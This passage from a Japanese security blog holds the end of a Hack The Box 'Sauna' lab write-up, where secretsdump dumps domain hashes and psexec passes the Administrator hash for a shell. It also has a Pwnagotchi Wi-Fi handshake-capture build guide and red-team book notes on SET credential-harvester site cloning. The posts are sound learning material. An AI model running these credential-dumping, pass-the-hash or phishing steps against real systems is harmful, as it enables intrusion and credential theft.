secretsdump</code>で場所を確認し、svc_loanmgrで実行します。</p> <pre class="code" data-lang="" data-unlink># python3 secretsdump.py EGOTISTICALBANK/svc_loanmgr@10.10.10.175</pre> <p>パスワードを求められるのでwinPEASで発見した<code>Moneymakestheworldgoround!</code>を入力します。</p> <p>結果</p> <pre class="code" data-lang="" data-unlink>[*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c::: EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c::: SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:57b0c872972fd21d593b99a50fd6dcd1:::</pre> <p>Administratorのハッシュを獲得できました!</p> <h3 id="psexec">psexec</h3> <p>secretsdumpでAdministratorのハッシュが獲得できたのでこのハッシュを使ってAdminにアクセスできれば完了です。</p> <p><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">PsExec</a>はWindows Sysinternalsでも公開されているWindowsをリモートからアクセスするためのツールです。</p> <p>こちらもsecretsdump、GetNPUsersと同様にImpacketのexampleの中で用意されているものがあるのでこちらを利用します。</p> <p><code>locate psexec</code>で場所を確認し、administratorで実行します。</p> <pre class="code" data-lang="" data-unlink># python3 psexec.py EGOTISTICALBANK/administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff</pre> <p>実行するとWindowsのコマンドプロンプトのシェルが取れます。</p> <pre class="code" data-lang="" data-unlink>C:\Windows\system32&gt;</pre> <p>あとはadministratorのデスクトップに置かれたファイルを確認するだけです!</p> <pre class="code" data-lang="" data-unlink>C:\Windows\System32&gt;cd ../../Users/Administrator/Desktop C:\Users\Administrator\Desktop&gt;type root.txt f3ee04965c68257382e31502cc5e881f</pre> <p>Root Own!</p> <h2 id="最後に">最後に</h2> <p>今までLinuxマシンは2台攻略したことがありましたがWindowsマシンは苦手意識があり避けていました。</p> <p>ですが一度やってみるとなんとなく雰囲気が掴めたような気がします。</p> <p>今回は<a href="https://youtu.be/uLNpR3AnE-Y">IppSecさんのSaunaの動画</a>を見て攻略しましたが、ライブコーディング(ライブハッキング?)のようにその場でどこに注目してどう考えてやっているのかわかるのでとても参考になりますし、面白かったです。</p> <p>特にVimのレコーディング機能は使ったことがなかったので、これを使いこなせるようになると確かにHack The Box以外の細かい作業も捗りそうです。</p> <p>VIPのみの機能だと思いますが、Retired Machinesには公式のWalkthroughとUser-submitted Walkthroughsというものがあります。</p> <p>私もsubmittedしてみました! (<s>今はまだpending状態です</s>Acceptされました!)</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817201537.png" alt="f:id:security_index:20200817201537p:plain" title="f:id:security_index:20200817201537p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817201903.png" alt="f:id:security_index:20200817201903p:plain" title="f:id:security_index:20200817201903p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200818/20200818213327.png" alt="f:id:security_index:20200818213327p:plain" title="f:id:security_index:20200818213327p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>また、GithubでもWalkthroughやCheat Cheatを公開していきたいと考えています。</p> <p><a href="https://github.com/s-index/HackTheBox">GitHub - s-index/HackTheBox: HackTheBox&#x306E;Walkthrough&#x3084;Cheatsheet</a></p> <p>現状だとこのブログ記事とほぼ同じSaunaのWalkthroughのみですが・・・今後少しずつ追加できたらと思います!</p> <p><a href="https://security-index.hatenablog.com/entry/2020/08/30/163229">Hack The Box &#x65E5;&#x672C;&#x8A9E; Walkthrough/Writeup &#x307E;&#x3068;&#x3081; - Security Index</a></p> <p><a href="https://amzn.to/321UMts">サイバーセキュリティ レッドチーム実践ガイド</a></p> <hr /> <p><a href="https://twitter.com/security_index">Twitter (@security_index) </a></p> security_index Pwnagotchi 作ってみた!(Wi-Fi 脆弱性情報を収集する電子ペットキットの作り方) hatenablog://entry/26006613601818711 2020-08-02T18:02:35+09:00 2020-08-02T18:02:35+09:00 Pwnagotchi(ポーナゴッチ)というWi-Fi 脆弱性情報を収集する電子ペットキットを作ってみましたのでその作り方のメモです。 <p>Pwnagotchi(ポーナゴッチ)というWi-Fi 脆弱性情報を収集する電子ペットキットを作ってみましたのでその作り方のメモです。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200726/20200726190448.png" alt="f:id:security_index:20200726190448p:plain" title="f:id:security_index:20200726190448p:plain" class="hatena-fotolife" itemprop="image" /> </p> <p> </p> <ul class="table-of-contents"> <li><a href="#Pwnagotchiとは">Pwnagotchiとは?</a></li> <li><a href="#Pwnagotchiを作ってみる">Pwnagotchiを作ってみる</a><ul> <li><a href="#必要なもの">必要なもの</a></li> <li><a href="#セットアップ">セットアップ</a><ul> <li><a href="#1-Imageと書き込みソフトのダウンロード">1. Imageと書き込みソフトのダウンロード</a></li> <li><a href="#2-Imageの書き込み">2. Imageの書き込み</a></li> <li><a href="#3-初期設定をする">3. 初期設定をする</a></li> <li><a href="#4-起動">4. 起動</a></li> </ul> </li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="Pwnagotchiとは">Pwnagotchiとは?</h3> <p>Pwnagotchi(ポーナゴッチ)は周囲のWi-Fi情報を傍受し、Wi-Fiの鍵を特定するのに必要なパケット情報を収集することができる電子ペットです。</p> <p> </p> <p>Pwnagotchiは<a href="https://amzn.to/3hVutf5">Raspberry Pi Zero W</a>という通常のRaspberry Piよりも更に小型でかつWi-FiとBluetoothを搭載したものと電子ペーパーディスプレイで作成することができます。</p> <p> </p> <p>以前、Gigazineでも取り上げられたことがあったようです。</p> <p> </p> <p><iframe class="embed-card embed-webcard" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" title="あの「たまごっち」をヒントに開発されたWi-Fiハッキングが可能な電子ペット「Pwnagotchi」" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgigazine.net%2Fnews%2F20191231-pwnagotchi%2F" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://gigazine.net/news/20191231-pwnagotchi/">gigazine.net</a></cite></p> <p> </p> <p>公式サイトもあります。</p> <p> </p> <p><a href="https://pwnagotchi.ai/">Pwnagotchi - Deep Reinforcement Learning instrumenting bettercap for WiFi pwning.</a></p> <p> </p> <p>Pwnagotchiという名前の由来は、セキュリティでよく使われるpwnとたまごっちのgotchiを組み合わせてPwngotchiとなっているそうです。</p> <p> </p> <p>そのため、たまごっちのように画面上にアスキーアートの顔が表示され、これが現在のPwnagotchiのステータス(情報収集中、アクセスポイントが無くて寝てるなど)を表しています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200722/20200722164512.jpg" alt="f:id:security_index:20200722164512j:plain" title="f:id:security_index:20200722164512j:plain" class="hatena-fotolife" itemprop="image" width="362" /></p> <p> </p> <p>Pwnagotchiは深層強化学習を使って効率よく情報収集するようになっているみたいです。</p> <p> </p> <h3 id="Pwnagotchiを作ってみる">Pwnagotchiを作ってみる</h3> <h4 id="必要なもの">必要なもの</h4> <ul> <li><a href="https://amzn.to/3hVutf5">Raspberry Pi Zero W</a></li> </ul> <p>Wが付いていないRaspberry Pi Zeroもありますが、こちらではWi-Fiが付いていないためPwnagotchiには使えません。</p> <ul> <li><a href="https://www.waveshare.com/2.13inch-e-paper-hat.htm">Waveshare eInk 2.13</a></li> </ul> <p>私はこの電子ペーパーディスプレーではなくスイッチサイエンスで<a href="https://www.switch-science.com/catalog/5983/">Inky pHAT</a>を購入しました。</p> <p>Inky pHATもPwnagotchiに対応していますが公式でWaveshare B&W V2の方を推奨されていますのでWaveshareを私もお勧めします。</p> <p>(私はスイッチサイエンスで他の商品とまとめて購入したかったためにInky pHATにしました)</p> <ul> <li><a href="https://amzn.to/2EIhyig">microSDカード</a> (最低8GB以上)</li> </ul> <p>品質と読み書き速度が早いものが良いそうです。</p> <ul> <li><a href="https://amzn.to/30mWx5c">モバイルバッテリー</a></li> </ul> <p>無くてももちろん大丈夫ですが、Pwnagotchiは持ち運んで情報収集を楽しむものなのであったほうがいいです。</p> <ul> <li><a href="https://www.switch-science.com/catalog/3411/"> </a><a href="https://amzn.to/2Xi70wP">Raspberry Pi Zero Wのケース</a> (オプション)</li> </ul> <p>Raspberry Pi Zero Wそのままのままでは基盤むき出しなのでケースがあると安心です。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200802/20200802164218.jpg" alt="f:id:security_index:20200802164218j:plain" title="f:id:security_index:20200802164218j:plain" class="hatena-fotolife" itemprop="image" width="398" /></p> <p> </p> <p>その他、Pwnagotchiを作るためにUSBケーブル、microSDカードリーダー(PCで読み書きするため)が必要です。</p> <p> </p> <p>より詳しくは公式のINSTALLATIONの<a href="https://pwnagotchi.ai/installation/#required-hardware">Required Hardware</a>で確認することができます。</p> <p> </p> <h4 id="セットアップ">セットアップ</h4> <p>microSDカードにPwnagotchiのイメージを書き込んでいきます。</p> <p> </p> <h5 id="1-Imageと書き込みソフトのダウンロード"><span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;">1. Imageと書き込みソフトのダウンロード</span></h5> <p><a href="https://github.com/evilsocket/pwnagotchi/releases">Githubのリリースページ</a>よりImageをダウンロードします。</p> <p>そのImageをmicroSDに書き込むためのソフト <a href="https://www.balena.io/etcher/">balenaEtcher</a>をダウンロードします。</p> <p> </p> <h5 id="2-Imageの書き込み">2. Imageの書き込み</h5> <p>balenaEtcherを使ってmicroSDに書き込みます。</p> <p>microSDをSDカードリーダを使ってPCと繋ぎ、balenaEtcherを使って指示通りにダウンロードしたImageを選択し、microSDカードを選び、書き込む(Flash!)すれば大丈夫です。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200802/20200802164951.png" alt="f:id:security_index:20200802164951p:plain" title="f:id:security_index:20200802164951p:plain" class="hatena-fotolife" itemprop="image" width="322" /></p> <p> </p> <p>Imageはzipのままでも大丈夫です。</p> <p> </p> <h5 id="3-初期設定をする">3. 初期設定をする</h5> <p>Image書き込んだら終わりでなく、初期設定をする必要があります。</p> <p>Flash後にmicroSDがPCから認識されていない場合には再度microSDを抜き差ししてPCに認識させます。</p> <p>その後、<code style="box-sizing: border-box; vertical-align: bottom; font-family: Consolas, menlo, monospace; font-size: 14.72px; border-radius: 2px; white-space: nowrap; color: #444444; background: #eeeeee; border: 1px solid #cccccc; padding: 0px 2px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 300; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">/etc/pwnagotchi/config.toml</code>に以下のような設定を書きます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200802/20200802165923.png" alt="f:id:security_index:20200802165923p:plain" title="f:id:security_index:20200802165923p:plain" class="hatena-fotolife" itemprop="image" width="497" /></p> <p> </p> <p>whitelistとexcludeの部分は今回は無視し、注意点としては</p> <p><span style="color: #c5c8c6; font-family: Consolas, menlo, monospace; font-size: 15px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 300; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #1d1f21; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">ui.display.type = "waveshare_2"</span></p> <p>の部分に自分の電子ペーパーディスプレイのタイプを指定する必要があります。</p> <p>私はInky pHATを購入したので<span style="color: #444444; font-family: Consolas, menlo, monospace; font-size: 14.72px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 300; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: nowrap; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #eeeeee; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">inky</span>に変更して書き込みました。</p> <p> </p> <p>その他の細かい設定に関しては<a href="https://pwnagotchi.ai/configuration/">公式のCONFIGURATION</a>で確認できます。</p> <p> </p> <h5 id="4-起動">4. 起動</h5> <p>あとはRaspberry Pi Zero WにmicroSDを入れて起動させるだけです。</p> <p>起動には少し時間がかかるので気長に待ちましょう。</p> <p>いくら待っても画面が表示されない場合には再度Imageを書き込み直したり、設定を確認しましょう。</p> <p>Raspberry Pi Zero Wに給電できれいればLEDランプが点滅しますのでそこが全く変わらない場合には電源の問題かもしれません。</p> <p> </p> <p>初回起動時には気にしなくても良いと思いますが、2つのUSBポートは左側が電源ポート、右側がデータポートになっています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200802/20200802172107.png" alt="f:id:security_index:20200802172107p:plain" title="f:id:security_index:20200802172107p:plain" class="hatena-fotolife" itemprop="image" width="443" /></p> <p> </p> <p>以下のような画面が表示されれば成功です!</p> <p>最初に鍵の生成が行われますのでまた終わるまでしばらく待ちましょう。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200802/20200802172308.jpg" alt="f:id:security_index:20200802172308j:plain" title="f:id:security_index:20200802172308j:plain" class="hatena-fotolife" itemprop="image" width="320" /></p> <p> </p> <p>あとはPwnagotchiが自動でWi-Fiの情報を収集してくれます。</p> <p>以下のような収集した結果のレポート画面(統計情報)を確認したい場合にはPwnagotchiとPCをデータポートで繋ぐことで確認できます。</p> <p><a href="https://pwnagotchi.ai/usage/">公式のUSAGE</a>により詳しい情報が書かれています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200802/20200802172955.jpg" alt="f:id:security_index:20200802172955j:plain" title="f:id:security_index:20200802172955j:plain" class="hatena-fotolife" itemprop="image" width="325" /></p> <p> </p> <h3 id="最後に">最後に</h3> <p>microSDやモバイルバッテリーがすでに家にある方は6,000円ほどで簡単にWi-Fiの情報収集ツールを自分で構築することができるので少しでも興味がある方は作ってみると面白いと思います。</p> <p>(安いところで買えば5,000円もしないかもしれません)</p> <p> </p> <p>WPA2の脆弱性「<a href="https://internet.watch.impress.co.jp/docs/column/nettech/1144925.html">KRACKs</a>」や新しいプロトコルのWPA3とその脆弱性<a href="https://ascii.jp/elem/000/001/873/1873869/">Dragonblood</a>などWi-Fiに関するセキュリティの話題を目にする機会はあるとは思いますがあまり詳しくは理解していない、できないことが私はありました。</p> <p> </p> <p>しかし、実際の環境などを考えるとWi-Fiに侵入されたらかなりヤバくない?と思うこともあります。</p> <p>(社内のWi-Fiは基本的にWPA2-エンタープライズのため家庭のWi-Fi環境とは異なると思いますが)</p> <p> </p> <p>Pwnagotchiを通してWi-Fi周りの知識が付けられればと思っています。</p> <p>また、Pwnagotchiは深層強化学習のアルゴリズムを使っているので機械学習の勉強にももしかしたらなるのかもしれません。</p> <p> </p> <p>Wi-Fi周りの知識はほぼゼロなので<a href="https://amzn.to/39ZOsXn">ネットワークがよくわかる教科書</a>の「第6章 無線LANの基礎知識」や<a href="https://amzn.to/39wk4Dm">ハッキング・ラボのつくりかた</a>の「第6章 LANのハッキング」で勉強中。。。</p> <p> </p> <p> </p> <p><a href="https://amzn.to/30nnIwJ">Raspberry Pi Zero WH スターターセット</a></p> <p><a href="https://amzn.to/30kc0Tf">Interface(インターフェース) 2020年 09 月号 最新ラズパイ4のハード&amp;OS大研究</a></p> <p><a href="https://amzn.to/33gDI5g">ITエンジニアのための強化学習理論入門</a></p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> <p> </p> security_index サイバーセキュリティ レッドチーム実践ガイド その3 hatenablog://entry/26006613602127978 2020-07-23T13:51:17+09:00 2020-09-27T17:39:29+09:00 前々回『サイバーセキュリティ レッドチーム実践ガイド その1』、前回『サイバーセキュリティ レッドチーム実践ガイド その2』の続きで「サイバーセキュリティ レッドチーム実践ガイド」という本を読んだメモ書きです。 今回は「第5章 ソーシャルエンジニアリング」、「第6章 物理的なアクセス」、「第7章 アンチウイルスの回避」の部分となります。 <p>前々回『<a href="https://security-index.hatenablog.com/entry/2020/06/28/215115">サイバーセキュリティ レッドチーム実践ガイド その1</a>』、前回『<a href="https://security-index.hatenablog.com/entry/2020/07/05/213242">サイバーセキュリティ レッドチーム実践ガイド その2</a>』の続きで「<a href="https://amzn.to/2WLKSul">サイバーセキュリティ レッドチーム実践ガイド</a>」という本を読んだメモ書きです。</p> <p> </p> <p>今回は「第5章 ソーシャルエンジニアリング」、「第6章 物理的なアクセス」、「第7章 アンチウイルスの回避」の部分となります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200628/20200628192602.jpg" alt="f:id:security_index:20200628192602j:plain" title="f:id:security_index:20200628192602j:plain" class="hatena-fotolife" itemprop="image" width="464" /></p> <p> </p> <p> </p> <ul class="table-of-contents"> <li><a href="#第5章-ソーシャルエンジニアリング">第5章 ソーシャルエンジニアリング</a><ul> <li><a href="#SET-Social-Engineering-Toolkit">SET (Social Engineering Toolkit)</a></li> </ul> </li> <li><a href="#第6章-物理的なアクセス">第6章 物理的なアクセス</a></li> <li><a href="#第7章-アンチウイルスの回避">第7章 アンチウイルスの回避</a></li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="第5章-ソーシャルエンジニアリング">第5章 ソーシャルエンジニアリング</h3> <p>第5章ではクローンサイト(偽サイト)の作成方法、2要素認証(2FA)の突破方法、フィッシングなどについて書かれています。</p> <h4 id="SET-Social-Engineering-Toolkit">SET (Social Engineering Toolkit)</h4> <p>クローンサイトは<a href="https://github.com/trustedsec/social-engineer-toolkit">SET</a>というツールを使うことで簡単に作成することができます。</p> <p>この本ではSETでログインページのクローンを作成し、<a href="https://github.com/fireeye/ReelPhish">ReelPhish</a>というFireEyeが作成したツールを組み合わせて2FAを突破するというシナリオになっています。</p> <p> </p> <p>SETはKali Linuxにデフォルトで入っているのですぐに使うことができます。</p> <p>SETはクローンサイトの作成だけでなくメール、SMS、QRコードなど幅広いソーシャルエンジニアリングに使うことができるものが用意されています。</p> <p> </p> <p>クローンサイトを作成する場合、まずSETを起動させると以下のようなメニュー画面が表示されます。</p> <p> </p> <blockquote> <p>Select from the menu:</p> <p>1) Spear-Phishing Attack Vectors<br /> 2) Website Attack Vectors<br /> 3) Infectious Media Generator<br /> 4) Create a Payload and Listener<br /> 5) Mass Mailer Attack<br /> 6) Arduino-Based Attack Vector<br /> 7) Wireless Access Point Attack Vector<br /> 8) QRCode Generator Attack Vector<br /> 9) Powershell Attack Vectors<br /> 10) Third Party Modules</p> </blockquote> <p> </p> <p>ここで 「1) Spear-Phishing Attack Vectors」を選択し、次の以下のメニューでは「3) Credential Harvester Attack Method」を選択します。</p> <p> </p> <blockquote> <p>1) Java Applet Attack Method<br /> 2) Metasploit Browser Exploit Method<br /> 3) Credential Harvester Attack Method<br /> 4) Tabnabbing Attack Method<br /> 5) Web Jacking Attack Method<br /> 6) Multi-Attack Web Method<br /> 7) HTA Attack Method</p> </blockquote> <p> </p> <p>メニューの選択画面で以下のような説明が書かれているのでこの説明を読むとどんなことができるのかわかります。</p> <p> </p> <blockquote> <p>The <strong>Credential Harvester</strong> method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.</p> </blockquote> <p> </p> <p>次に「2) Site Cloner」を選択すると攻撃サーバーのIPアドレスが求められるのでローカルな環境での利用であればデフォルト値で良いのでそのままEnter。</p> <p> </p> <blockquote> <p>1) Web Templates<br /> 2) Site Cloner<br /> 3) Custom Import</p> </blockquote> <blockquote> <p>set:webattack&gt; IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]:</p> </blockquote> <p> </p> <p>最後にクローンしたいサイトのURLを入力すれば完了です。</p> <p> </p> <blockquote> <p>set:webattack&gt; Enter the url to clone:</p> </blockquote> <p> </p> <p>例えば、amazonのURLを入れると以下のようなクローンサイトができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200722/20200722163835.png" alt="f:id:security_index:20200722163835p:plain" title="f:id:security_index:20200722163835p:plain" class="hatena-fotolife" itemprop="image" width="468" /></p> <p> </p> <p>URL以外は本物とそのままなのでamazonにそっくりなドメインを取得して使えば多くの人は間違えてしまうかもしれません。</p> <p> </p> <p>上記のようにSETを使うことで簡単に偽サイトを作ることができます。</p> <p> </p> <p>実際、amazonを装うフィッシングメール、フィッシングサイトは度々ニュースにもなっているので気をつける必要があります。</p> <p> </p> <p><a href="https://internet.watch.impress.co.jp/docs/news/1243602.html">Amazon.co.jpをかたるフィッシングメールが拡散、「パスワードの入力を数回間違えた」として偽サイトに誘導 - INTERNET Watch</a></p> <p> </p> <p> </p> <h3 id="第6章-物理的なアクセス">第6章 物理的なアクセス</h3> <p>レッドチームの仕事として施設の物理的なアセスメントも含まれることがあるようです。</p> <p> </p> <p>この章では物理的なアセスメント時に利用できるアイテムがいくつか紹介されています。</p> <p>例えば、<a href="https://shop.hak5.org/products/lan-turtle">LAN Turtle</a>というUSBのイーサネットアダプターによく似たものがあります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200722/20200722164013.png" alt="f:id:security_index:20200722164013p:plain" title="f:id:security_index:20200722164013p:plain" class="hatena-fotolife" itemprop="image" width="288" /></p> <p><br />この本ではLAN Turtleを使って社内のネットワーク環境へVPN接続するというシナリオを想定しています。</p> <p>またLAN TurtleにはMicroSDカードリーダーが搭載されていたり、Cloud C2というサービスと連携して利用することができるようです。</p> <p> </p> <p>また、<a href="https://shop.hak5.org/products/wifi-pineapple?variant=81044992">WiFi Pineapple NANO</a>というWiFi環境をアセスメントするものもあります。</p> <p>WiFi Pineapple NANOはアクセスポイントとして動作させたり、アクセスポイントの偵察、MITMを行ったりできるもののようです。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200722/20200722164106.png" alt="f:id:security_index:20200722164106p:plain" title="f:id:security_index:20200722164106p:plain" class="hatena-fotolife" itemprop="image" width="157" /></p> <p> </p> <p> </p> <p>こういったものを実際に購入して試してみると面白くて勉強にもなるかもしれませんが、少しハードルが高く思える気がします・・・</p> <p> </p> <p>この本に書かれていませんが<a href="https://pwnagotchi.ai/">Pwnagotchi</a>という Raspberry Pi Zero Wを使ったWiFiの情報収集ができるものがあり、最近私はこちらを作って遊んでいます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200722/20200722164512.jpg" alt="f:id:security_index:20200722164512j:plain" title="f:id:security_index:20200722164512j:plain" class="hatena-fotolife" itemprop="image" width="268" /></p> <p> </p> <p><a href="https://gigazine.net/news/20191231-pwnagotchi/">あの「たまごっち」をヒントに開発されたWi-Fiハッキングが可能な電子ペット「Pwnagotchi」 - GIGAZINE</a></p> <p> </p> <p>Raspberry Pi Zeroを利用するためとても小型で持ち運びやすいですし、電子ペーパーのディスプレーにアスキーアートの顔が表示されて愛嬌があります。</p> <p> </p> <p>家に既にあった<span style="color: #333333; font-family: -apple-system, system-ui, 'helvetica neue', 'san francisco', 'segoe ui', 'ヒラギノ角ゴ pro w3', 'hiragino kaku gothic pro', roboto, Verdana, Arial, Helvetica, メイリオ, Meiryo, 'MS Pゴシック', sans-serif, 'MS UI Gothic'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">microSDカードの値段を含めなければ6,000円ほどでパーツを揃えることができますのでお手軽に始めることができます。</span></p> <p> </p> <p>深層強化学習を使って<span style="color: #333333; font-family: -apple-system, system-ui, 'helvetica neue', 'san francisco', 'segoe ui', 'ヒラギノ角ゴ pro w3', 'hiragino kaku gothic pro', roboto, Verdana, Arial, Helvetica, メイリオ, Meiryo, 'MS Pゴシック', sans-serif, 'MS UI Gothic'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">効率良くWiFiを探索してハンドシェイクしているようなので中身を理解していくことも面白そうです。</span></p> <p> </p> <h3 id="第7章-アンチウイルスの回避">第7章 アンチウイルスの回避</h3> <p>この章の前半に、C言語でキーロガーを作成するというものがあります。</p> <p>Cで書くことでサイズが小さく、OSの制御が容易、アンチウイルスソフトに検知されにくいというメリットがあるようです。</p> <p>ここではWindowsで動作するキーロガーを作成するので、Windows APIを知る必要があり、そのための良い資料として<a href="https://docs.microsoft.com/ja-jp/">Microsoft Developer Network (MSDN)</a>が紹介されています。</p> <p>現在は、Microsoft Docsに移行されているようです。</p> <p> </p> <p>また、Windows OSについてより詳しく知りたい人向けに「<a href="https://amzn.to/2ZNhE0a">Windows internals</a>」という本がおすすめされています。</p> <p>「Windows internals (インサイドWindows)」という本は1992年に初版が出て、2017年に第7版が発行されているかなり歴史ある本のようです。</p> <p>Windowsの中の人が書いているために中身もしっかりしているようです。</p> <p> </p> <p>ただ、ページ数は904ページ、価格も8,580円なので購入して読み切るには気合が必要です。</p> <p><span style="text-decoration: line-through;">現在、<a href="https://amzn.to/2ZPPj9i">Kindleセール</a>中(2020/7/10~7/23)なのでKindle版は半額で購入できるみたいです</span>(終了しました)</p> <p> </p> <p>この章ではキーロガー以外にもアンチウイルスソフトの検知を回避するための方法についてやPowerShellの難読化などについても書かれています。</p> <p> </p> <h3 id="最後に">最後に</h3> <p>「第8章 クラッキング、エクスプロイト」「第9章 ツーミニッツドリル」「第10章 レポート」が残りありますがそろそろHack The Boxを再開していきたいです!</p> <p>Hack The Boxをやりながら自分のチートシート作成して公開するみたいなことも今後やっていきたいです。</p> <p>また次回はPwnagotchiについてもブログを書きたいと思っています。</p> <p> </p> <p><a href="https://amzn.to/3juXShG">サイバーセキュリティ レッドチーム実践ガイド</a></p> <p><a href="https://amzn.to/3jy2nIs">インサイドWindows 第7版 上</a></p> <p><a href="https://amzn.to/39iiWDu">Code Complete 第2版 完全なプログラミングを目指して</a></p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> <p> </p> <p> </p> security_index Vulsのコードを読む まとめ (Vuls コードリーディング) hatenablog://entry/26006613601243745 2020-07-20T19:26:04+09:00 2020-09-27T17:41:42+09:00 以前に書いた「Vulsのコードを読む」シリーズの記事のまとめページです。 Vulsのコードリーディングをしてどうやって脆弱性スキャンをしているのか4回に分けて記事にしていたのでその記事の解説とそれに関わる記事の解説を書いてます。 このまとめ記事を書くに辺り過去の記事を更新したり、vulsのアップデートを確認したり、自分で書いたはずの記事なのに忘れていることが多かったり・・・振り返ることができました。 また、元々コードを読んで理解しようというモチベーションで始めたものがプルリク出してOSSに貢献できたり、実際に自分でコードを書いてOSSを公開したりと、ちょっとしたきっかけがどんどん次に繋がってい… <p>以前に書いた「Vulsのコードを読む」シリーズの記事のまとめページです。</p> <p>Vulsのコードリーディングをしてどうやって脆弱性スキャンをしているのか4回に分けて記事にしていたのでその記事の解説とそれに関わる記事の解説を書いてます。</p> <p> </p> <p>このまとめ記事を書くに辺り過去の記事を更新したり、vulsのアップデートを確認したり、自分で書いたはずの記事なのに忘れていることが多かったり・・・振り返ることができました。</p> <p>また、元々コードを読んで理解しようというモチベーションで始めたものがプルリク出してOSSに貢献できたり、実際に自分でコードを書いてOSSを公開したりと、ちょっとしたきっかけがどんどん次に繋がっていたのだなぁと改めて思いました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200720/20200720140757.png" alt="f:id:security_index:20200720140757p:plain" title="f:id:security_index:20200720140757p:plain" class="hatena-fotolife" itemprop="image" /></p> <p> </p> <p> </p> <ul class="table-of-contents"> <li><a href="#Vulsのコードを読む">Vulsのコードを読む</a><ul> <li><a href="#その1-全体像の把握">その1 全体像の把握</a></li> <li><a href="#その2-go-cve-dictionary-を理解するバグを見つけてプルリクを出してマージされるまで">その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで</a></li> <li><a href="#その3-Vuls-scanを調べてみた-Vulsへのプルリク">その3 Vuls scanを調べてみた (Vulsへのプルリク)</a></li> <li><a href="#その4-Vuls-reportを調べてみた">その4 Vuls reportを調べてみた</a></li> </ul> 